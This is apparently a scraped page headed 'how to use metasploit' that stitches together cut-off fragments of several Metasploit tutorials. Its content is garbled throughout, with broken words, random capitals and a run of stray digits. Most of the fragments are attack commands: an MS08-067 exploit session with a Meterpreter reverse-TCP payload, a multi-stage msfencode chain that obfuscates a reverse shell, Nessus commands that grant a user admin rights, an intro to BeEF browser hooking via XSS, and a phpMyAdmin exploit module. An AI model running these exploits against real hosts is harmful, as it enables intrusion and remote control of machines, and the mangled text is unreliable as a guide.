how to use metasploit

Meterpreter > Help Core Commands ============= Command Description------- ----------- ? Help menu background Backgrounds The current session Bgkill kills a background m Eterpreter script bglist Lists running background scripts Bgrun executes a Meterpreter script as a background thread channel displays information about active channels CLO SE closes a channel disable_unicode_encoding disables encoding of Unicode strings Enable_unic Ode_encoding enables encoding of Unic

MSF > Use Exploit/windows/smb/ms08_067_netapi MSF Exploit (MS08_067_NETAPI) > Set PAYLOAD windows/meterpreter/ Reverse_tcp PAYLOAD = windows/meterpreter/reverse_tcp MSF exploit (MS08_067_NETAPI) > Set target + target + 41 MSF exploit (MS08_067_NETAPI) > Setg lhost 192.168.1.11 lhost = 192.168.1.11 MSF exploit (MS08_067_NETAPI) > SE TG lport 8080 lport = 8080 MSF exploit (MS08_067_NETAPI) > Setg RHOST 192.168.1.142 RHOST = 192.168.1.142 MSF Exploit (

MSF > Use Exploit/windows/smb/ms08_067_netapi MSF Exploit (MS08_067_NETAPI) > Set RHOST 192.168.1.142 RHOST = 19 2.168.1.142 MSF exploit (MS08_067_NETAPI) > Set PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD = windows/ Meterpreter/reverse_tcp MSF exploit (MS08_067_NETAPI) > Set lhost 192.168.1.11 lhost = 192.168.1.11 MSF exploit (ms 08_067_NETAPI) > Set target-target-+-MSF exploit (MS08_067_NETAPI) > exploit [*] Started Reverse Handler On 192.168.1.1

; Db_connect postgres:[email protected]/postgres[*] Rebuilding the module cache in the BACKGROUND...MSF > Db_nma P[*] usage:db_nmap [nmap options] After successfully linking to the database, you can use the Db_nmap command, which runs Nmap in the MSF terminal and automatically stores the NMAP results in the database. 123456789101112131415161718192021222324252627282930313233343536373839404142434445464

instanceDb_del_host removing one or more hosts from a databaseDb_del_port removing a port from the databaseDb_destroy Deleting an existing databaseDb_disconnect disconnecting from the current DB instanceDb_driver Specifying a database driverDb_hosts list all hosts in the databaseDb_nmap execute nmap and record outputDb_notes List all comments in the databaseDb_services list all services in a databaseDb_vulns list all vulnerabilities in the databaseDb_workspace Converting a Database workspaceDb_

Tags: local stat host NIS tar TCP policy Create promotionMSF > Load Nessus MSF > Nessus_connect fuckyou:[email Protected] Connect on Nessus MSF > Nessus_user_add Elevate the test user to admin[Email protected]:# nessus-adminLogin:xxxoooYest is isn't an administrative user. Does want to grant him admin rights? [y/n] YTest is now an administrator MSF > nessus_user_list View the list of usersMSF > nessus_policy_list Select a scan rule ID Name Comments— —- ——–-1 Prepare for PCI-DSS audits (Section

Intranet penetration 1: Use the Xss vulnerability to access the Intranet 0x01: Popular Science Beef is currently The most popular WEB Framework attack platform in Europe and America. Its full name is: The Browser Exploitation Framework Project. beef uses a simple XSS vulnerability to write JavaScript (hook. js) controls the browser of the target host, obtains detailed information about the host through the browser of the target host, and further scans

(1) Install the Python msgpack class library, The data serialization standard in the MSF official documentation is reference msgpack. [Email protected]:~# apt-get Install Python-setuptools[Email protected]:~# easy_install Msgpack-python(2) create

root@bt:~# msfpayload windows/shell_reverse_tcp lhost=192.168.1.11 lport=31337 R | MSFENCODE-E x86/shikata_ga_nai-c 5-t Raw | MSFENCODE-E x86/alpha_upper-c 2-t Raw | MSFENCODE-E x86/shikata_ga_nai-c 5-t Raw | Msfencode-e x86/countdown-c 5-t exe-o

I. Affected Versions: 3.5.x Overview: PhpMyAdmin has the PREG_REPLACE_EVAL vulnerability. Exploitation module: exploit/multi/http/phpmyadmin_preg_replace CVE-2013-3238 (CVE)   Ii. Affected Version: phpMyAdmin v3.5.2.2 Overview:

Reprinted from:Ningxia Network Security Information PlatformHttp://www.nxfbi.com Before loading: MSF> dB _Db_connect db_driver db_import db_statusDb_disconnect db_export db_nmap Solution: Copy the attachment db_autopwn.rp